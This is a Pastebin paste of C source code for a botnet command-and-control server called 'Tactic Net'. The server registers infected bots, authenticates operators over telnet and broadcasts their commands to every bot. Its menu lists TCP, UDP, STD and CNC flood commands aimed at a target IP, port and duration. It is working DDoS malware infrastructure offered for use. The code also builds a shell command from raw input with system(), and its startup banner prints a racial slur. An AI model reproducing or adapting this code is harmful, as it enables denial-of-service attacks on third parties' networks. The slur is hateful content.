Advertisement
Guest User

bruuh

a guest
Aug 3rd, 2017
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.29 KB | None | 0 0
  1. //remastered by Jonah
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <netdb.h>
  8. #include <unistd.h>
  9. #include <time.h>
  10. #include <fcntl.h>
  11. #include <sys/epoll.h>
  12. #include <errno.h>
  13. #include <pthread.h>
  14. #include <signal.h>
  15. #include <ctype.h>
  16. #define MAXFDS 1000000
  17. #define RED "\x1b[0;31m"
  18. #define GREEN "\x1b[0;32m"
  19. #define C_RESET "\x1b[0m"
  20. char *colorCodes[] = {"31m", "32m", "33m", "34m", "35m", "36m"};
  21.  
  22. //change this to whatever you like, but if you dont want them sharing there login
  23. //change the 2 to 1.
  24. int Max_Logins = 2; //2 users per login
  25.  
  26.  
  27. struct account {
  28. char id[25];
  29. char password[25];
  30. };
  31. static struct account accounts[25];
  32.  
  33. struct clientdata_t {
  34. uint32_t ip;
  35. char build[7];
  36. char connected;
  37. } clients[MAXFDS];
  38.  
  39. struct telnetdata_t {
  40. uint32_t ip;
  41. int connected;
  42. } managements[MAXFDS];
  43.  
  44. ////////////////////////////////////
  45.  
  46. static volatile FILE *fileFD;
  47. static volatile int epollFD = 0;
  48. static volatile int listenFD = 0;
  49. static volatile int managesConnected = 0;
  50. static volatile int AccountCheck = 0;
  51. static volatile int DUPESDELETED = 0;
  52.  
  53. ////////////////////////////////////
  54.  
  55.  
  56. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  57. {
  58. int total = 0, got = 1;
  59. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  60. return got;
  61. }
  62. void trim(char *str)
  63. {
  64. int i;
  65. int begin = 0;
  66. int end = strlen(str) - 1;
  67. while (isspace(str[begin])) begin++;
  68. while ((end >= begin) && isspace(str[end])) end--;
  69. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  70. str[i - begin] = '\0';
  71. }
  72.  
  73.  
  74. static int make_socket_non_blocking (int sfd)
  75. {
  76. int flags, s;
  77. flags = fcntl (sfd, F_GETFL, 0);
  78. if (flags == -1)
  79. {
  80. perror ("fcntl");
  81. return -1;
  82. }
  83. flags |= O_NONBLOCK;
  84. s = fcntl (sfd, F_SETFL, flags);
  85. if (s == -1)
  86. {
  87. perror ("fcntl");
  88. return -1;
  89. }
  90. return 0;
  91. }
  92.  
  93.  
  94. static int create_and_bind (char *port)
  95. {
  96. struct addrinfo hints;
  97. struct addrinfo *result, *rp;
  98. int s, sfd;
  99. memset (&hints, 0, sizeof (struct addrinfo));
  100. hints.ai_family = AF_UNSPEC;
  101. hints.ai_socktype = SOCK_STREAM;
  102. hints.ai_flags = AI_PASSIVE;
  103. s = getaddrinfo (NULL, port, &hints, &result);
  104. if (s != 0)
  105. {
  106. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  107. return -1;
  108. }
  109. for (rp = result; rp != NULL; rp = rp->ai_next)
  110. {
  111. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  112. if (sfd == -1) continue;
  113. int yes = 1;
  114. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  115. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  116. if (s == 0)
  117. {
  118. break;
  119. }
  120. close (sfd);
  121. }
  122. if (rp == NULL)
  123. {
  124. fprintf (stderr, "Could not bind\n");
  125. return -1;
  126. }
  127. freeaddrinfo (result);
  128. return sfd;
  129. }
  130. void broadcast(char *msg, int us, char *sender)
  131. {
  132. int sendMGM = 1;
  133. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  134. char *wot = malloc(strlen(msg) + 10);
  135. memset(wot, 0, strlen(msg) + 10);
  136. strcpy(wot, msg);
  137. trim(wot);
  138. time_t rawtime;
  139. struct tm * timeinfo;
  140. time(&rawtime);
  141. timeinfo = localtime(&rawtime);
  142. char *timestamp = asctime(timeinfo);
  143. trim(timestamp);
  144. int i;
  145. for(i = 0; i < MAXFDS; i++)
  146. {
  147. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  148. if(sendMGM && managements[i].connected)
  149. {
  150. send(i, "\x1b[31mID:", 8, MSG_NOSIGNAL);
  151. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  152. send(i, " ", 1, MSG_NOSIGNAL);
  153. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  154. send(i, ": ", 2, MSG_NOSIGNAL);
  155. }
  156. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  157. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[32m-> \x1b[0m", 13, MSG_NOSIGNAL);
  158. else send(i, "\n", 1, MSG_NOSIGNAL);
  159. }
  160. free(wot);
  161. }
  162.  
  163. void *epollEventLoop(void *useless)
  164. {
  165. struct epoll_event event;
  166. struct epoll_event *events;
  167. int s;
  168. events = calloc (MAXFDS, sizeof event);
  169. while (1)
  170. {
  171. int n, i;
  172. n = epoll_wait (epollFD, events, MAXFDS, -1);
  173. for (i = 0; i < n; i++)
  174. {
  175. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  176. {
  177. clients[events[i].data.fd].connected = 0;
  178. close(events[i].data.fd);
  179. continue;
  180. }
  181. else if (listenFD == events[i].data.fd)
  182. {
  183. while (1)
  184. {
  185. struct sockaddr in_addr;
  186. socklen_t in_len;
  187. int infd, ipIndex;
  188.  
  189. in_len = sizeof in_addr;
  190. infd = accept (listenFD, &in_addr, &in_len);
  191. if (infd == -1)
  192. {
  193. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  194. else
  195. {
  196. perror ("accept");
  197. break;
  198. }
  199. }
  200.  
  201. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  202.  
  203. int dup = 0;
  204. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  205. {
  206. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  207.  
  208. if(clients[ipIndex].ip == clients[infd].ip)
  209. {
  210. dup = 1;
  211. break;
  212. }
  213. }
  214.  
  215. if(dup)
  216. {
  217. DUPESDELETED++;
  218. continue;
  219. }
  220.  
  221. s = make_socket_non_blocking (infd);
  222. if (s == -1) { close(infd); break; }
  223.  
  224. event.data.fd = infd;
  225. event.events = EPOLLIN | EPOLLET;
  226. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  227. if (s == -1)
  228. {
  229. perror ("epoll_ctl");
  230. close(infd);
  231. break;
  232. }
  233.  
  234. clients[infd].connected = 1;
  235. send(infd, "!* SC ON\n", 9, MSG_NOSIGNAL);
  236.  
  237. }
  238. continue;
  239. }
  240. else
  241. {
  242. int thefd = events[i].data.fd;
  243. struct clientdata_t *client = &(clients[thefd]);
  244. int done = 0;
  245. client->connected = 1;
  246. while (1)
  247. {
  248. ssize_t count;
  249. char buf[2048];
  250. memset(buf, 0, sizeof buf);
  251.  
  252. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  253. {
  254. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  255. trim(buf);
  256. if(strcmp(buf, "PING") == 0) {
  257. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  258. continue; }
  259. if(strcmp(buf, "PONG") == 0) {
  260. continue; }
  261. printf("buf: \"%s\"\n", buf); }
  262.  
  263. if (count == -1)
  264. {
  265. if (errno != EAGAIN)
  266. {
  267. done = 1;
  268. }
  269. break;
  270. }
  271. else if (count == 0)
  272. {
  273. done = 1;
  274. break;
  275. }
  276. }
  277.  
  278. if (done)
  279. {
  280. client->connected = 0;
  281. close(thefd);
  282. }
  283. }
  284. }
  285. }
  286. }
  287.  
  288. unsigned int clientsConnected()
  289. {
  290. int i = 0, total = 0;
  291. for(i = 0; i < MAXFDS; i++)
  292. {
  293. if(!clients[i].connected) continue;
  294. total++;
  295. }
  296.  
  297. return total;
  298. }
  299.  
  300. void *titleWriter(void *sock)
  301. {
  302. int thefd = (long int)sock;
  303. char string[2048];
  304. while(1)
  305. {
  306. memset(string, 0, 2048);
  307. sprintf(string, "%c]0;[+] Bots Online: %d [-] Users Online: %d [+]%c", '\033', clientsConnected(), managesConnected, '\007');
  308. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  309.  
  310. sleep(2);
  311. }
  312. }
  313.  
  314. int Search_in_File(char *str)
  315. {
  316. FILE *fp;
  317. int line_num = 0;
  318. int find_result = 0, find_line=0;
  319. char temp[512];
  320.  
  321. if((fp = fopen("login.txt", "r")) == NULL){
  322. return(-1);
  323. }
  324. while(fgets(temp, 512, fp) != NULL){
  325. if((strstr(temp, str)) != NULL){
  326. find_result++;
  327. find_line = line_num;
  328. }
  329. line_num++;
  330. }
  331. if(fp)
  332. fclose(fp);
  333.  
  334. if(find_result == 0)return 0;
  335.  
  336. return find_line;
  337. }
  338. void client_addr(struct sockaddr_in addr){
  339. printf("IP:%d.%d.%d.%d\n",
  340. addr.sin_addr.s_addr & 0xFF,
  341. (addr.sin_addr.s_addr & 0xFF00)>>8,
  342. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  343. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  344. FILE *logFile;
  345. logFile = fopen("server.log", "a");
  346. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  347. addr.sin_addr.s_addr & 0xFF,
  348. (addr.sin_addr.s_addr & 0xFF00)>>8,
  349. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  350. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  351. fclose(logFile);
  352. }
  353.  
  354. void *telnetWorker(void *sock) {
  355. int thefd = (long int)sock;
  356. managesConnected++;
  357. int find_line;
  358. pthread_t title;
  359. char counter[2048];
  360. memset(counter, 0, 2048);
  361. char buf[2048];
  362. char* nickstring;
  363. char usernamez[80];
  364. char* password;
  365. char* admin;
  366. memset(buf, 0, sizeof buf);
  367. char botnet[2048];
  368. memset(botnet, 0, 2048);
  369.  
  370. FILE *fp;
  371. int i=0;
  372. int c;
  373. fp=fopen("login.txt", "r"); // format: user pass
  374. while(!feof(fp))
  375. {
  376. c=fgetc(fp);
  377. ++i;
  378. }
  379. int j=0;
  380. rewind(fp);
  381. while(j!=i-1)
  382. {
  383. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  384. ++j;
  385. }
  386. sprintf(botnet, "\x1b[%sUsername: \x1b[30m", colorCodes[(rand() % 6)]);
  387. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  388. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  389. trim(buf);
  390. sprintf(usernamez, buf);
  391. nickstring = ("%s", buf);
  392. find_line = Search_in_File(nickstring);
  393.  
  394. if(strcmp(nickstring, accounts[find_line].id) == 0){
  395. sprintf(botnet, ""RED"Welcome User\r\n");
  396. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  397. sprintf(botnet, "\x1b[%sPassword: \x1b[30m", colorCodes[(rand() % 6)]);
  398. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  399. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  400. if (AccountCheck == Max_Logins)
  401. {
  402. printf("Too many Users Logged in at once\n");
  403. goto end;
  404. }
  405. trim(buf);
  406. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  407. memset(buf, 0, 2048);
  408. goto fak;
  409. }
  410. failed:
  411. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  412. goto end;
  413. fak:
  414.  
  415. pthread_create(&title, NULL, &titleWriter, sock);
  416. sprintf(botnet, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  417. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  418. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  419. char ascii_banner_line20 [5000];
  420. char ascii_banner_line21 [5000];
  421. char ascii_banner_line22 [5000];
  422. char ascii_banner_line24 [5000];
  423. char ascii_banner_line25 [5000];
  424. char ascii_banner_line26 [5000];
  425. char ascii_banner_line27 [5000];
  426.  
  427. sprintf(ascii_banner_line20, " ooooooooooooo . o8o \r\n");
  428. sprintf(ascii_banner_line21, " 8' 888 `8 .o8 `*' \r\n");
  429. sprintf(ascii_banner_line22, " 888 .oooo. .ooooo. .o888oo oooo .ooooo. \r\n");
  430. sprintf(ascii_banner_line24, " 888 `P )88b d88' `*Y8 888 `888 d88' `*Y8 \r\n");
  431. sprintf(ascii_banner_line25, " 888 .oP*888 888 888 888 888 \r\n");
  432. sprintf(ascii_banner_line26, " 888 d8( 888 888 .o8 888 . 888 888 .o8 \r\n");
  433. sprintf(ascii_banner_line27, " o888o `Y888**8o `Y8bod8P' *888* o888o `Y8bod8P' \r\n");
  434. if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
  435. if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
  436. if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
  437. if(send(thefd, ascii_banner_line24, strlen(ascii_banner_line24), MSG_NOSIGNAL) == -1) goto end;
  438. if(send(thefd, ascii_banner_line25, strlen(ascii_banner_line25), MSG_NOSIGNAL) == -1) goto end;
  439. if(send(thefd, ascii_banner_line26, strlen(ascii_banner_line26), MSG_NOSIGNAL) == -1) goto end;
  440. if(send(thefd, ascii_banner_line27, strlen(ascii_banner_line27), MSG_NOSIGNAL) == -1) goto end;
  441. sprintf(botnet, "\r\n \x1b[37m[+]-\x1b[%sWelcome [%s] To The Tactic Net\x1b[37m-[+]\r\n\r\n-> ", colorCodes[(rand() % 6)], usernamez);
  442. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  443. pthread_create(&title, NULL, &titleWriter, sock);
  444. managements[thefd].connected = 1;
  445. AccountCheck++;
  446. while(fdgets(buf, sizeof buf, thefd) > 0)
  447. {
  448. if (strncmp(buf, "SHOW", 4) == 0 || strncmp(buf, "BOTS", 4) == 0 || strncmp(buf, "bots", 4) == 0)
  449. {
  450. sprintf(botnet, "Bots Online: \x1b[%s[%d]"C_RESET"\r\nUsers Online: \x1b[%s[%d]"C_RESET"\r\nDupes Deleted: \x1b[%s[%d]"C_RESET"\r\n",colorCodes[(rand() % 6)], clientsConnected(), colorCodes[(rand() % 6)], managesConnected, colorCodes[(rand() % 6)], DUPESDELETED);
  451. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  452. }
  453.  
  454. if (strncmp(buf, "HELP", 4) == 0 || strncmp(buf, "help", 4) == 0 || strncmp(buf, "menu", 4) == 0)
  455. {
  456. sprintf(botnet, "\x1b[37m[+\x1b[36m]Attack Commands----------------------------------\x1b[37m\r\n\x1b[37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n\x1b[37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n\x1b[37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n\x1b[37m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n");
  457. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  458. sprintf(botnet, "\x1b[37m[+]\x1b[36mExtra Commands-----------------------------------\x1b[37m\r\n\x1b[37m!* KILLATTK | KILLS ALL ATTACKS\r\n");
  459. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  460. sprintf(botnet, "\x1b[37m[+]\x1b[36mTerminal Commands----------------------------------\x1b[37m\r\n\x1b[37mBOTS | SHOWS BOT COUNT\r\n\x1b[37mCLS | CLEARS YOUR SCREEN\r\n");
  461. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  462. }
  463.  
  464. if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  465. {
  466. int hax;
  467. if(send(thefd, "Slamming ", 8, MSG_NOSIGNAL) == -1) goto end;
  468. if(send(thefd, " .", 2, MSG_NOSIGNAL) == -1) goto end;
  469. for (hax = 3; hax > 0; --hax) {
  470. sleep(1);
  471. if(send(thefd, " .", 2, MSG_NOSIGNAL) == -1) goto end;
  472. }
  473. if(send(thefd, "\r\nRouter Has Been Fucked!!!\r\n", 29, MSG_NOSIGNAL) == -1) goto end;
  474. }
  475. if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0)
  476. {
  477. sprintf(botnet, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  478. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  479. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  480. char ascii_banner_line20 [5000];
  481. char ascii_banner_line21 [5000];
  482. char ascii_banner_line22 [5000];
  483. char ascii_banner_line24 [5000];
  484. char ascii_banner_line25 [5000];
  485. char ascii_banner_line26 [5000];
  486. char ascii_banner_line27 [5000];
  487.  
  488. sprintf(ascii_banner_line20, " ooooooooooooo . o8o \r\n");
  489. sprintf(ascii_banner_line21, " 8' 888 `8 .o8 `*' \r\n");
  490. sprintf(ascii_banner_line22, " 888 .oooo. .ooooo. .o888oo oooo .ooooo. \r\n");
  491. sprintf(ascii_banner_line24, " 888 `P )88b d88' `*Y8 888 `888 d88' `*Y8 \r\n");
  492. sprintf(ascii_banner_line25, " 888 .oP*888 888 888 888 888 \r\n");
  493. sprintf(ascii_banner_line26, " 888 d8( 888 888 .o8 888 . 888 888 .o8 \r\n");
  494. sprintf(ascii_banner_line27, " o888o `Y888**8o `Y8bod8P' *888* o888o `Y8bod8P' \r\n");
  495. if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
  496. if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
  497. if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
  498. if(send(thefd, ascii_banner_line24, strlen(ascii_banner_line24), MSG_NOSIGNAL) == -1) goto end;
  499. if(send(thefd, ascii_banner_line25, strlen(ascii_banner_line25), MSG_NOSIGNAL) == -1) goto end;
  500. if(send(thefd, ascii_banner_line26, strlen(ascii_banner_line26), MSG_NOSIGNAL) == -1) goto end;
  501. if(send(thefd, ascii_banner_line27, strlen(ascii_banner_line27), MSG_NOSIGNAL) == -1) goto end;
  502. sprintf(botnet, "\r\n \x1b[37m[+]-\x1b[%sWelcome [%s] To The Tactic Net\x1b[37m-[+]\r\n\r\n", colorCodes[(rand() % 6)], usernamez);
  503. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  504. pthread_create(&title, NULL, &titleWriter, sock);
  505. }
  506. if (strstr(buf, "LOLNOGTFO"))
  507. {
  508. printf("%s tried killing bots...", usernamez);
  509. FILE *killFile;
  510. killFile = fopen("KILL.log", "a");
  511. fprintf(killFile, "Username: %s Buffer: Tried Killing Bots!\n", usernamez);
  512. fclose(killFile);
  513. goto end;
  514. /* code */
  515. }
  516. if (strstr(buf, "SH"))
  517. {
  518. /* code */
  519. printf("%s tried sh'ing bots...", usernamez);
  520. FILE *shFile;
  521. shFile = fopen("SH.log", "a");
  522. fprintf(shFile, "Username: %s Buffer: Tried SH'ing Bots!\n", usernamez);
  523. fclose(shFile);
  524. goto end;
  525. }
  526. if (strncmp(buf, "exit", 4) == 0 || strncmp(buf, "EXIT", 4) == 0 || strncmp(buf, "LOGOUT", 6) == 0)
  527. {
  528. goto end;
  529. }
  530. trim(buf);
  531. sprintf(botnet, "\x1b[%s-> \x1b[0m", colorCodes[(rand() % 6)]);
  532. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  533. if(strlen(buf) == 0) continue;
  534. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  535. FILE *logFile;
  536. logFile = fopen("server.log", "a");
  537. fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
  538. fclose(logFile);
  539. broadcast(buf, thefd, usernamez);
  540. memset(buf, 0, 2048);
  541. }
  542.  
  543. end: // cleanup dead socket
  544. managements[thefd].connected = 0;
  545. close(thefd);
  546. managesConnected--;
  547. AccountCheck--;
  548. }
  549.  
  550. void *telnetListener(int port)
  551. {
  552. int sockfd, newsockfd;
  553. socklen_t clilen;
  554. struct sockaddr_in serv_addr, cli_addr;
  555. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  556. if (sockfd < 0) perror("ERROR opening socket");
  557. bzero((char *) &serv_addr, sizeof(serv_addr));
  558. serv_addr.sin_family = AF_INET;
  559. serv_addr.sin_addr.s_addr = INADDR_ANY;
  560. serv_addr.sin_port = htons(port);
  561. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  562. listen(sockfd,5);
  563. clilen = sizeof(cli_addr);
  564. while(1)
  565.  
  566. { printf("Connecting To Server: ");
  567. client_addr(cli_addr);
  568. FILE *logFile;
  569. logFile = fopen("IP.log", "a");
  570. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  571. fclose(logFile);
  572. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  573. if (newsockfd < 0) perror("ERROR on accept");
  574. pthread_t thread;
  575. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  576. }
  577. }
  578.  
  579. int main (int argc, char *argv[], void *sock)
  580. {
  581. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  582.  
  583. int s, threads, port;
  584. struct epoll_event event;
  585. char Username[20], Password[20];
  586. #ifdef User
  587. printf("Please Enter Username: ");
  588. scanf("%s",Username);
  589. printf("Please Enter Password: ");
  590. scanf("%s",Password);
  591. char hahaha[80];
  592. sprintf(hahaha, "echo %s %s >> login.txt", Username, Password);
  593. system(hahaha);
  594. #endif
  595. if (argc != 4)
  596. {
  597. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  598. exit (EXIT_FAILURE);
  599. }
  600. port = atoi(argv[3]);
  601. threads = atoi(argv[2]);
  602. if (threads > 850)
  603. {
  604. printf("Are You Dumb? Lower the Threads\n");
  605. return 0;
  606. }
  607. else if (threads < 850)
  608. {
  609. printf("Good Choice in Threading\n");
  610. }
  611. #ifdef User
  612. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nUsername: %s\nPassword: %s\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", Username, Password, port, threads);
  613. #endif
  614. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", port, threads);
  615.  
  616. listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
  617. if (listenFD == -1) abort();
  618.  
  619. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  620. if (s == -1) abort();
  621.  
  622. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  623. if (s == -1)
  624. {
  625. perror ("listen");
  626. abort ();
  627. }
  628.  
  629. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  630. if (epollFD == -1)
  631. {
  632. perror ("epoll_create");
  633. abort ();
  634. }
  635.  
  636. event.data.fd = listenFD;
  637. event.events = EPOLLIN | EPOLLET;
  638. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  639. if (s == -1)
  640. {
  641. perror ("epoll_ctl");
  642. abort ();
  643. }
  644.  
  645. pthread_t thread[threads + 2];
  646. while(threads--)
  647. {
  648. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  649. }
  650.  
  651. pthread_create(&thread[0], NULL, &telnetListener, port);
  652.  
  653. while(1)
  654. {
  655. broadcast("PING", -1, "STRING");
  656. sleep(60);
  657. }
  658.  
  659. close (listenFD);
  660.  
  661. return EXIT_SUCCESS;
  662. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement